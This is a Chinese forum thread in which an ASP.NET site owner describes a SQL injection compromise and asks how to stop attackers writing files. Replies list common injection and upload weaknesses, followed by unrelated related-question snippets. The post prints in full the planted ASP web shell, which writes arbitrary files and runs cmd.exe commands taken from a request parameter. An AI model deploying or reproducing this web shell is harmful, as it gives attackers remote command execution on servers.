asp.net网站受到了url攻击. - .NET技术 / ASP.NET
注入了四个表
d99_cmd,d99_reg,d99_tmp,pangolin_test_table
在网站的根目录里注入了四个文件
98.asp,315.asp,db.asp,le.asp
在我的C盘里注入了一个cpand99.txt文件
它的内容是:
<%Dim objFSO%>
<%Dim fdata%>
<%Dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%else%>
<%end if%>
<%err.clear%>
<%end if%>
<%Set objFSO = Nothing%>
<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%>
我看了一下日志.是通过url用sql注入的.我想问一下我能不能通过重写一个url把这个解决掉.
还是就是能不能有别的办法不要再让它向里面写文件了.我网站已经把everyone 用户删除了.其它的用户也只有read的权限.可还是注入了.请高手救命呀!
不知道被注入的 URL 是什么？具体的其他参数？你的业务处理和数据过程？
url参数没过滤
sql存储过程没使用
文件上传类型识别不彻底
站内搜索框参数没过滤
.....
检查程序里面有没有拼接
相关问答：
function CheckOpwd(){//验证用户名
var pwd=document.all.txtOpwd;
var div1=document.getElementById("divPwd");
if (pwd.value=="")
{
......
就是一个按钮，点击之后打开对话框，然后选取图片。就这样上传。。
怎么实现。在网上搜到那么多的代码，全是很多的那种，不知道，看不下去。
所以在这里想请大哥大姐帮帮忙。
使用自带的fileupload控件可以实现 ......
我最近做了一个网站是关于产品展示的 ~ 整个网站图片都占用了一大半
这样的话访问速度就非常慢 有什么办法可以解决吗？
麻烦大家多多给点意见 ！ 有什么尽管说
3Q大家
html页面.
这个,既然主� ......
大家好，我现在有一个用asp写的聊天室，现在的想添加一个功能，就是当有人上线的时候，发出提示，比如声音响一下，现在想用java实现这个功能，请问大家怎么实现？
谢谢了，我会加分的
asp和java整合到一起去？何必 ......
